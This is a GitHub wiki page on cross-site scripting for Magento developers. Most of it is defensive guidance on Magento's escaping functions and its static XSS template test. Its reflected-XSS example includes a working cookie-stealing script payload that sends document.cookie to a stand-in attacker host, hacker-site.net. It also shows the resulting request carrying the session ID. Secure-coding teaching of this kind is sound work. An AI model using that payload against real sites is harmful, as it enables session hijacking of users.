XSS security - letronghieu4897/magento GitHub Wiki

XSS security

Cross-site scripting


1. What is XSS

Reflected Cross-site Scripting

- with name is : Cross-site scripting

1.1 Reflected XSS (Specification CLIENT whom HACKER want to hack)

Example 
1. CLIENT has a session when access a website.
+ Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. HACKER send to CLIENT
- URL :http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;</script>

3. CLIENT access to above url.

4. Server responses to CLIENT archive datas have in request (Javascript of HACKER)

5. Browser of CLIENT execute the Javascript of HACKER

SCRIPT OF HACKER 

- var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

this script execute request to HACKER site with parameter is CLIENT'S cookie
- GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
- Host: hacker-site.net

6. HACKER knew sessionID of CLIENT. So Hacker gain permission of CLIENT on this session.

1.2 Stored XSS (Many CLIENTS)

To execute this attack. Hacker must through 2 steps 

+ 1. Insert script into database by from input (textarea, input, form...)
+ 2. Waiting for CLIENT access to website and do something with hacker's data was stored in database

Stored Cross-site scripting

2.1 Following Rules for escaping output in templates

- NO ESCAPE 

1. If a method indicates that the contents is escaped, do not escape
+	getTitleHtml()
+	getHtmlTitle() 

2. Type casing and php function count() 
+	echo (int)$var
+	echo (bool)$var
+	echo count($var)

3. Single quotes
+	echo 'some text' 

4. Double quotes without variables 
+	echo "some text"

<?php echo $block->getTitleHtml() ?>
<?php echo $block->getHtmlTitle() ?>
<?php echo $block->escapeHtml($block->getTitle()) ?>
# <?php echo (int)$block->getId() ?>
<?php echo count($var); ?>
<?php echo 'some text' ?>
<?php echo "some text" ?>
<a href="<?php echo $block->escapeXssInUrl($block->getUrl()) ?>"><?php echo $block->getAnchorTextHtml() ?
></a>
- ESCAPE 
Case : JSON output 
Function : No function need for JSON output
+ <?= /* @noEscape */ $postData ?>

Case: String output that should not contain HTML
Function: escapeHtml

- You can pass in an optional array of allowed tags that will not be escaped.

- If a tag is allowed, the following attributes will not be escaped: id, class, href, target, style and title. Any other attribute for that allowed tag will be escaped.
+ <?= $block->escapeHtml($block->getLabel()) ?></span>

+ <?= $block->escapeHtml(__('Only registered users can write reviews. Please <a href="%1">Sign in</a> or <a href="%2">create an account</a>', $block->getLoginUrl(), $block->getCreateAccountUrl()), ['a']) ?>

+ <?= $block->escapeJs($block->escapeUrl($block->getCategoryUrl())) ?> : In <script>
Case: URL output
Function: escapeUrl

+ <?= $block->escapeUrl($block->getCategoryUrl()) ?>

Case: Strings inside JavaScript
Function: In a JavaScript context, use the escapeJs function.

- In cases where the JavaScript code outputs content onto the page, use the escapeUrl or the escapeHtml function where appropriate.

- For example, when a URL output string is inside a JavaScript context, use both escapeJs and escapeUrl. If you insert the output string from inside a JavaScript context into the DOM, use both escapeJs and escapeHtml.

=================================================================================================
+ var field<?php echo $block->escapeJs($block->getFieldNamePostfix()) ?> = window.document.getElementById('my-element');

+ var categoryUrl = '<?php echo $block->escapeJs($block->escapeUrl($block->getCategoryUrl())) ?>';

- // Escaping content that will be inserted into DOM
+ var string = <?php echo $block->escapeJs($block->escapeHtml(__('Only registered users can write reviews. Please <a href="%1">Sign in</a> or <a href="%2">create an account</a>', $block->getLoginUrl(), $block->getCreateAccountUrl()), ['a'])) ?>
+ jQuery('#my-element').append(string);
 
- // Here we are not inserting the translated string into the DOM, so it is ok if the string contains non-allowed tags or 
- // JavaScript because it will be handled as a string. Do not use escapeHtml here, the browser will display quotes 
- // and other symbols as HTML entities (&#039;, &quot;, &amp;, etc)
+ alert('<?php echo $block->escapeJs(__('You are not authorized to perform this action.')) ?>');
=================================================================================================


Case: HTML attributes
Function: escapeHtmlAttr

+  <span class="<?php echo $block->escapeHtmlAttr($block->getSpanClass()) ?>">Product Description</span>
+  <input name="field" value="<?php echo $block->escapeHtmlAttr($block->getFieldValue()) ?>" />

-  <!--  Escaping translation inside attributes -->
+  <img src="product-blue.jpg" alt="<?php echo $block->escapeHtmlAttr(__('A picture of the product in blue')) ?>" />
- STATIC TEST

!check it in dev\tests\static\testsuite\Magento\Test\Php\XssPhtmlTemplateTest.php

It covers the following cases: 

+ /* @noEscape */ before output. Output doesn’t require escaping. Test is green.

+ /* @escapeNotVerified */ before output. Output escaping is not checked and should be verified. Test is green.

+ Methods which contain "html" in their names (for example echo $object->{suffix}Html{postfix}()). Data is ready for the HTML output. Test is green.

+ AbstractBlock methods escapeHtml, escapeUrl, escapeQuote, escapeXssInUrl are allowed. Test is green.

+ Type casting and php function count() are allowed (for example echo (int)$var, (bool)$var, count($var)). Test is green.

+ Output in single quotes (for example echo 'some text'). Test is green.

+ Output in double quotes without variables (for example echo "some text"). Test is green.

+ Other of previously mentioned. Output is not escaped. Test is red.

Footer

⚠️ **GitHub.com Fallback** ⚠️